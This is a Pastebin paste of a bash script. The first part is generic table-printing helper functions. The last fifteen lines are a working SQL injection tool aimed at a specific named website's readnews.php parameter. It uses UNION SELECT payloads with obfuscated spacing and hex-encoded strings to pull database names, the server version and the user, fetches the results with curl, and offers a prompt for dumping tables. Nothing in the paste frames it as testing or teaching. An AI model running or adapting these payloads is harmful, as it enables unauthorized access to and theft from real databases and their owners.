Advertisement
kedjaw3n

Untitled

Mar 9th, 2020
89
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.43 KB | None | 0 0
  1.  
  2. function printTable()
  3. {
  4. local -r delimiter="${1}"
  5. local -r data="$(removeEmptyLines "${2}")"
  6.  
  7. if [[ "${delimiter}" != '' && "$(isEmptyString "${data}")" = 'false' ]]
  8. then
  9. local -r numberOfLines="$(wc -l <<< "${data}")"
  10.  
  11. if [[ "${numberOfLines}" -gt '0' ]]
  12. then
  13. local table=''
  14. local i=1
  15.  
  16. for ((i = 1; i <= "${numberOfLines}"; i = i + 1))
  17. do
  18. local line=''
  19. line="$(sed "${i}q;d" <<< "${data}")"
  20.  
  21. local numberOfColumns='0'
  22. numberOfColumns="$(awk -F "${delimiter}" '{print NF}' <<< "${line}")"
  23.  
  24. # Add Line Delimiter
  25.  
  26. if [[ "${i}" -eq '1' ]]
  27. then
  28. table="${table}$(printf '%s#+' "$(repeatString '#+' "${numberOfColumns}")")"
  29. fi
  30.  
  31. # Add Header Or Body
  32.  
  33. table="${table}\n"
  34.  
  35. local j=1
  36.  
  37. for ((j = 1; j <= "${numberOfColumns}"; j = j + 1))
  38. do
  39. table="${table}$(printf '#| %s' "$(cut -d "${delimiter}" -f "${j}" <<< "${line}")")"
  40. done
  41.  
  42. table="${table}#|\n"
  43.  
  44. # Add Line Delimiter
  45.  
  46. if [[ "${i}" -eq '1' ]] || [[ "${numberOfLines}" -gt '1' && "${i}" -eq "${numberOfLines}" ]]
  47. then
  48. table="${table}$(printf '%s#+' "$(repeatString '#+' "${numberOfColumns}")")"
  49. fi
  50. done
  51.  
  52. if [[ "$(isEmptyString "${table}")" = 'false' ]]
  53. then
  54. echo -e "${table}" | column -s '#' -t | awk '/^\+/{gsub(" ", "-", $0)}1'
  55. fi
  56. fi
  57. fi
  58. }
  59.  
  60. function removeEmptyLines()
  61. {
  62. local -r content="${1}"
  63.  
  64. echo -e "${content}" | sed '/^\s*$/d'
  65. }
  66.  
  67. function repeatString()
  68. {
  69. local -r string="${1}"
  70. local -r numberToRepeat="${2}"
  71.  
  72. if [[ "${string}" != '' && "${numberToRepeat}" =~ ^[1-9][0-9]*$ ]]
  73. then
  74. local -r result="$(printf "%${numberToRepeat}s")"
  75. echo -e "${result// /${string}}"
  76. fi
  77. }
  78.  
  79. function isEmptyString()
  80. {
  81. local -r string="${1}"
  82.  
  83. if [[ "$(trimString "${string}")" = '' ]]
  84. then
  85. echo 'true' && return 0
  86. fi
  87.  
  88. echo 'false' && return 1
  89. }
  90.  
  91. function trimString()
  92. {
  93. local -r string="${1}"
  94.  
  95. sed 's,^[[:blank:]]*,,' <<< "${string}" | sed 's,[[:blank:]]*$,,'
  96. }
  97.  
  98. dios="(select group_concat(0x3c6c693e,schema_name,0x3c6c693e) from information_schema.schemata)"
  99. us="concat/**8**/(0x6b65646a6177336e2656657273696f6e3a,version/**8**/(),0x2655736572207365727665723a20,user/**8**/(),0x2644617461626173653a20,database/**8**/(),0x3c6b6564)"
  100. dbs="kabelindo.co.id/readnews.php?id=4/**8**/and/**8**/0/**8**/union/**8**/select/**8**/1,$dios,3,4,5--+"
  101. siteinfo="kabelindo.co.id/readnews.php?id=4/**8**/and/**8**/0/**8**/union/**8**/select/**8**/1,$us,3,4,5--+"
  102. site=$(echo "$dbs" | tr " " "+")
  103. dbnya=$(curl "$site" -L | grep -Po '<li>[^<]*<li>' | cut -d "<" -f2 | sed 's/li>/~ /g')
  104. info=$(curl -s -L "$siteinfo" | grep -a -o "kedjaw3n&[^<]*" | tail -1 | sed 's/&/\n/g' | sed '/kedjaw3n/d')
  105. dir=$(echo "$info" | grep -Po 'Database: [[:alnum:][:punct:]]*' | cut -d " " -f2)
  106. echo -e "ambil nama db\n\npsqli@$dir/"
  107. echo -e "$dbnya\n"
  108. echo -n "Dump db: informafion_schema"
  109. table=$(cat tables)
  110. printTable ":" "$(echo "$table")"
  111. echo -n "psqli@$dir/u9897uwx_kabel/: # "
  112. read f
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement